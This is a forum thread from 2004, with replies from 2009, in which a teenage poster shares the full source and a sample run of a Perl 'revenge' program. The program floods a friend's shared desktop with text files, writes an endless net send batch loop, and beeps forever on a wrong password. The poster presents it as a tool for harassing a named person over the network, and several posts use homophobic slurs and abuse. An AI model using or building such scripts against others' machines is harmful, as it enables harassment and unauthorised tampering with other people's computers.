Page 1 of 1

Ph33r t3h 3gg H0wn3t!!!11one

Posted: Sun Nov 07, 2004 8:38 am
by Falco Girgis
The "Egg Hornet" is a Perl Program I wrote yesterday to get back at Arce for his wrong doings. Here is the source:

Code: Select all

#--------------------------------------+
#Programmer: Falco Jaenisch "GyroVorbis|
#Program: T3h 3gg H0wn3t               |
#Creation Date: 11/6/04                |
#Current Version: Beta 3.0             |
#Description: Classified               |
#--------------------------------------+

print "3gg H0wn3t Beta ver. 3.0\n";
print "                            ...vvvv)))))).\n";
print "  /~~\\               ,,,c(((((((((((((((((/\n";
print " /~~c \\.         .vv)))))))))))))))))))\\``\n";
print "     G_G__   ,,(((KKKK//////////////'\n";
print "   ,Z~__ '@,gW@@AKXX~MW,gmmmz==m_.\n";
print "  iP,dW@!,A@@@@@@@@@@@@@@@A` ,W@@A\\c\n";
print "  ]b_.__zf !P~@@@@@*P~b.~+=m@@@*~ g@Ws.\n";
print "     ~`    ,2W2m. '\\[ ['~~c'M7 _gW@@A`'s\n";
print "       v=XX)====Y-  [ [    \\c/*@@@*~ g@@i\n";
print "      /v~           !.!.     '\\c7+sg@@@@@s.\n";
print "     //              'c'c       '\\c7*X7~~~~\n";
print "    ]/                 ~=Xm_       '~=(Gm_.\n\n";



print "A password is required to run t3h 3gg H0wn3t.\n";
print "Enter Password...\n";
chomp($password = <STDIN>);

if($password eq "dewgong" || $password eq "Dewgong" || $password eq "DEWGONG") {
    &Menu; 
}
else {
    print "Somebody is trying to hack the hownet! Alert!!!";
    while(1) {
        print "\a";
    }
}

sub Menu {
    print "+--------------------------+\n";
    print "|A. Create Text Files      |\n";
    print "|B. Create Dos Batch Files |\n";
    print "|C. About t3h H0wn3t.      |\n";
    print "|D. Exit                   |\n";
    print "+--------------------------+\n";
    chomp($menu_option = <STDIN>); 

    if($menu_option eq "A" || $menu_option eq "a") {
        &File;
    }
    elsif($menu_option eq "B" || $menu_option eq "b") {
        &Batch;
    }
    elsif($menu_option eq "C" || $menu_option eq "c") {
        &About;
    }
    elsif($menu_option eq "D" || $menu_option eq "d") {
        print "Ph33r t3h 3gg H0wn3t!\n";
        $nullset = <STDIN>;
    }
    else {
        print "You douche, $menu_option wasn't even an option!\n";
        print "What are you, gay?\n";
        &Menu;
    }
}

sub About {
    print "T3h 3gg H0wn3t is a Perl program written by Falco Jaenisch \"Gyrovorbis\"\n";
    print "Everything was supervised by Peter Cartier aka \"Hyper Shadow\"\n";
    print "The hownet was made to get back at Marcel for his emination.\n";
    print "UMFIG! David Bowie!\n";
    &Menu;
}

sub File {
    print "Would you like the files to be in the default directory or create a new?\n";
    print "(new, default)\n";
    chomp($directory = <STDIN>);

    if($directory eq "new") {
        print "What would you like the directory to be named?\n";
        chomp($dir_name = <STDIN>);
        print "How many files should be generated?\n";
        chomp($file_num = <STDIN>);
        print "What should these files be named?\n";
        chomp($file_name = <STDIN>);
        print "What should these files say?\n";
        chomp($file_text = <STDIN>);
        
        &CreateFile($dir_name, $file_num, $file_name, $file_text);
    }
    elsif($directory eq "default") {
        print "How many files should be generated?\n";
        chomp($file_num = <STDIN>);
        print "What should these files be named?\n";
        chomp($file_name = <STDIN>);
        print "What should these files say?\n";
        chomp($file_text = <STDIN>);

        &CreateFile(0, $file_num, $file_name, $file_text);
    }
    else {
        print "You douche, that wasn't even a choice.\n\n";
        &File;
    }
}

sub CreateFile {
    $i = 0;
    if($_[0]) {
        if(mkdir("$_[0]", 0777)) {
            print "Generating directory...\n";
        }
        else {
            print "Directory generation failed.\n";
        }
        
        print "Creating .txt files, please wait...\n";
        while($i < $_[1]) {
            open(FILE, ">$_[0]/$_[2]$i.txt");
            print FILE "$_[3]";
            close FILE;
            $i++;
        }
    }
    else {
        print "Creating .txt files, please wait...\n";
        while($i <= $_[1]) {
            open(FILE, ">$_[2]$i.txt");
            print FILE "$_[3]";
            close FILE;
            $i++;
        }
    }
    &Menu;
}

sub Batch {
    print "Who do you want to Net Send?\n";
    chomp($reciever = <STDIN>);
    print "What should the message say?\n";
    chomp($message = <STDIN>);
    print "What should the .bat file be named?\n";
    chomp($bat_name = <STDIN>);

    print "Generating Batch file, please wait...\n";
    open(BATCH, ">$bat_name.bat");
    print BATCH ":top\n";
    print BATCH "net send $reciever $message\n";
    print BATCH "goto top";
    close BATCH;

    &Menu;
}
The Egg Hownet is a user-friendly "revenge" application. It was meant to be run on *cough*Arce's*cough* desktop. Currently, there are only 2 things I can do to get back at him, but trust me they're pretty bad. I also have plans for more things.

Anyway, the first thing is that it can generate X amount of text files named whatever you want with whatever you want in them, where ever you want.

Imagine, you're Arce sitting in your room. Since I'm over a network, I go to network places and bring up his desktop. I drag the Hownet over there and launch it, creating a billion text files named "Egg Hownet" saying "YOU SUCK!". You watch, helplessly as your whole desktop fills up with them completely out of nowhere.

The second method of revenge is a DOS batch file infinately looping a net send to somebody. Net send is a type of messaging that'll send a message to somebody on the network. The perl program asks what to call the batch file and where to generate it. (as we speak I'm making it also ask "How many times should he be messaged).

Imagine playing StarCraft in your room when suddenly, inescapable messages saying "You're gay" continually pop up. There is nothing you can do, and no way to escape them.

Anyway, yes, now you see why you must Ph33r t3h 3gg H0wn3t. Just wait until I add some other features to it. It'll be one bad mother fuzzler!

Posted: Sun Nov 07, 2004 8:39 am
by Falco Girgis
I forgot to mention that running the egg hornet without inputting the right password sends you into an ultimate loop of system alerting doom (generally freezing your computer), allowing Hyper Shadow and I to know that somebody has been screwing with t3h H0wn3t. Bwarharhar!

Posted: Sun Nov 07, 2004 8:46 am
by Falco Girgis
Output from a healthy serving of t3h Egg Hownet!

Code: Select all

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Owner>perl desktop/hownet.pl
3gg H0wn3t Beta ver. 3.0
                            ...vvvv)))))).
  /~~\               ,,,c(((((((((((((((((/
 /~~c \.         .vv)))))))))))))))))))\``
     G_G__   ,,(((KKKK//////////////'
   ,Z~__ '@,gW@~MW,gmmmz==m_.
  iP,dW@!,A@@@@@@@@@@@@@@` ,W@\c
  ]b_.__zf !P~@@@@@*P~b.~+=m@@@*~ g.
     ~`    ,2W2m. '\[ ['~~c'M7 _gW@`'s
       v=XX)====Y-  [ [    \c/*@@@*~ g@
      /v~           !.!.     '\c7+sg@@@@.
     //              'c'c       '\c7*X7~~~~
    ]/                 ~=Xm_       '~=(Gm_.

A password is required to run t3h 3gg H0wn3t.
Enter Password...
dewgong
+--------------------------+
|A. Create Text Files      |
|B. Create Dos Batch Files |
|C. About t3h H0wn3t       |
|D. Exit                   |
+--------------------------+
a
Would you like the files to be in the default directory or create a new?
(new, default)
new
What would you like the directory to be named?
philez
How many files should be generated?
54
What should these files be named?
David Bowie
What should these files say?
You've just felt the wrath of t3h Egg Hownet!
Generating directory...
Creating .txt files, please wait...
+--------------------------+
|A. Create Text Files      |
|B. Create Dos Batch Files |
|C. About t3h H0wn3t       |
|D. Exit                   |
+--------------------------+
B
Who do you want to Net Send?
*
What should the message say?
I hope you're enjoying this infinate loop!
What should the .bat file be named?
schittus
Generating Batch file, please wait...
+--------------------------+
|A. Create Text Files      |
|B. Create Dos Batch Files |
|C. About t3h H0wn3t       |
|D. Exit                   |
+--------------------------+
C
T3h 3gg H0wn3t is a Perl program written by Falco Jaenisch "Gyrovorbis"
Everything was supervised by Peter Cartier aka "Hyper Shadow"
The hownet was made to get back at Marcel for his emination.
UMFIG! David Bowie!
+--------------------------+
|A. Create Text Files      |
|B. Create Dos Batch Files |
|C. About t3h H0wn3t       |
|D. Exit                   |
+--------------------------+
D
Ph33r t3h 3gg H0wn3t!

Posted: Sun Nov 07, 2004 2:33 pm
by vmrob
umfig!!!!!

i need an interpreter!!!!

great picture!!!!!

Posted: Sun Nov 07, 2004 2:35 pm
by Falco Girgis
You guys are no fun, go here: http://activestate.com and download ActiveState ActivePerl.

You won't be able to run my little perl hackeries that I love so much if you don't... :?

BTW, in all my 2 years knowing perl, I've never known how to pass an argument to a function until yesterday. XD

Perl is a hell of a programming language. I look at it and compare to C++. I wish C++ was as easy as perl.

Posted: Tue Nov 09, 2004 10:12 am
by Guest
The Egg Hownet is a user-friendly "revenge" application. It was meant to be run on *cough*Arce's*cough* desktop. Currently, there are only 2 things I can do to get back at him, but trust me they're pretty bad. I also have plans for more things.

Anyway, the first thing is that it can generate X amount of text files named whatever you want with whatever you want in them, where ever you want.

Imagine, you're Arce sitting in your room. Since I'm over a network, I go to network places and bring up his desktop. I drag the Hownet over there and launch it, creating a billion text files named "Egg Hownet" saying "YOU SUCK!". You watch, helplessly as your whole desktop fills up with them completely out of nowhere.

The second method of revenge is a DOS batch file infinately looping a net send to somebody. Net send is a type of messaging that'll send a message to somebody on the network. The perl program asks what to call the batch file and where to generate it. (as we speak I'm making it also ask "How many times should he be messaged).

Imagine playing StarCraft in your room when suddenly, inescapable messages saying "You're gay" continually pop up. There is nothing you can do, and no way to escape them.

Anyway, yes, now you see why you must Ph33r t3h 3gg H0wn3t. Just wait until I add some other features to it. It'll be one bad mother fuzzler!
_________________


Funny, considering that I can get passed all of the mentioned. I just set my desktop as "Read Only," or unshared it. And any other files I may have shared. Also, the net send loop, for the most part, is easy to get passed. I just unplug my wireless hub, and I don't get any messages. However, suppose I am playing StarCraft online? Depending on whether I paused my StarCraft game or, not, I can do 1 of a few things, I can just run into the room that you ran it on, and unplug the computer. That always works :0 If the Starcraft game is paused and I have a few minutes, I can change my network name, making it send an error to YOU, saying: "Unable to be sent to Arce." But, if when you net send, you send it to * (For those who don't know, that is everyone on the network), it'll go to you too. And that loop, nothing CTRL-ALT-Del won't fix. :0 Even if it didn't, MacAfee will auto shut it off after 3 minutes, declaring it a malicious script. AND, I don't have to worry about that, knowing the password now that you posted the code for it. It appears to be that Icy/water poke'mon, dewgong. So basically, your "Hornet's" sting isn't as bad as you think!

However, the under construction Blitz Egg VIPER won't be so easily defeated. You know what blitz can do to screw up a computer. And, I'm not stupid enough to post my source code.

Oh, and one last flaw with your "Hornet". Because you have a loop and name every file something plus a number, using blitz, I can make a loop to delete every file you create. However, the VIPER won't be so easy.

Posted: Tue Nov 09, 2004 1:54 pm
by Falco Girgis
A couple of things.

1) I appreciate you wasting an hour of your life to type up that monstrositized non-paragraph using post.

2) I took the LIBERTY of posting my source, and you're a douche.

3) Blitzplus can't do crap. Everything you just called a flaw with my hownet would be the same with yours, and any other thing that's supposed to have affect over the network.

BlitzPlus is garbage. Ever heard of SATAN? The virus that crashed the net about a decade ago? Guess what language that was written in. PERL!

Whatta Lussac.

Re: Ph33r t3h 3gg H0wn3t!!!11one

Posted: Tue Apr 07, 2009 3:13 am
by RyanPridgeon
Quit being so immature, this is getting stupid.

Re: Ph33r t3h 3gg H0wn3t!!!11one

Posted: Tue Apr 07, 2009 9:36 am
by MarauderIIC
RyanPridgeon wrote:Quit being so immature, this is getting stupid.
I dunno, can you say that someone is immature based on a post they made in 2004?

Re: Ph33r t3h 3gg H0wn3t!!!11one

Posted: Tue Apr 07, 2009 3:34 pm
by Ginto8
MarauderIIC wrote:
RyanPridgeon wrote:Quit being so immature, this is getting stupid.
I dunno, can you say that someone is immature based on a post they made in 2004?
:lock: is what I say.

Re: Ph33r t3h 3gg H0wn3t!!!11one

Posted: Tue Apr 07, 2009 3:37 pm
by dandymcgee
MarauderIIC wrote:
RyanPridgeon wrote:Quit being so immature, this is getting stupid.
I dunno, can you say that someone is immature based on a post they made in 2004?
:lol: Gotta love those archive diggers.. or not.

Re:

Posted: Tue Apr 07, 2009 3:44 pm
by MadPumpkin
Funny, considering that I can get passed all of the mentioned. I just set my desktop as "Read Only," or unshared it. And any other files I may have shared. Also, the net send loop, for the most part, is easy to get passed. I just unplug my wireless hub, and I don't get any messages. However, suppose I am playing StarCraft online? Depending on whether I paused my StarCraft game or, not, I can do 1 of a few things, I can just run into the room that you ran it on, and unplug the computer. That always works :0 If the Starcraft game is paused and I have a few minutes, I can change my network name, making it send an error to YOU, saying: "Unable to be sent to Arce." But, if when you net send, you send it to * (For those who don't know, that is everyone on the network), it'll go to you too. And that loop, nothing CTRL-ALT-Del won't fix. :0 Even if it didn't, MacAfee will auto shut it off after 3 minutes, declaring it a malicious script. AND, I don't have to worry about that, knowing the password now that you posted the code for it. It appears to be that Icy/water poke'mon, dewgong. So basically, your "Hornet's" sting isn't as bad as you think!

However, the under construction Blitz Egg VIPER won't be so easily defeated. You know what blitz can do to screw up a computer. And, I'm not stupid enough to post my source code.

Oh, and one last flaw with your "Hornet". Because you have a loop and name every file something plus a number, using blitz, I can make a loop to delete every file you create. However, the VIPER won't be so easy.[/quote]

wow who ever posted this is a jackass lol i was just going to say,

"nice job! thats actually a very nice little perl script and kinda awesome to, im totally using it on my brother when hes playing fallout3"
lol

Re: Ph33r t3h 3gg H0wn3t!!!11one

Posted: Tue Apr 07, 2009 6:09 pm
by avansc
net send should not work if he has xp or later. unless its turned on specifically.

ps: REXX is unknown, but an amazing scripting/interpreted language.

Re: Ph33r t3h 3gg H0wn3t!!!11one

Posted: Wed Apr 08, 2009 12:19 am
by Falco Girgis
Ryan, that was made in 2004, you fucking idiot. You are calling me immature? BECAUSE I WAS FUCKING FIFTEEN, DIPSHIT!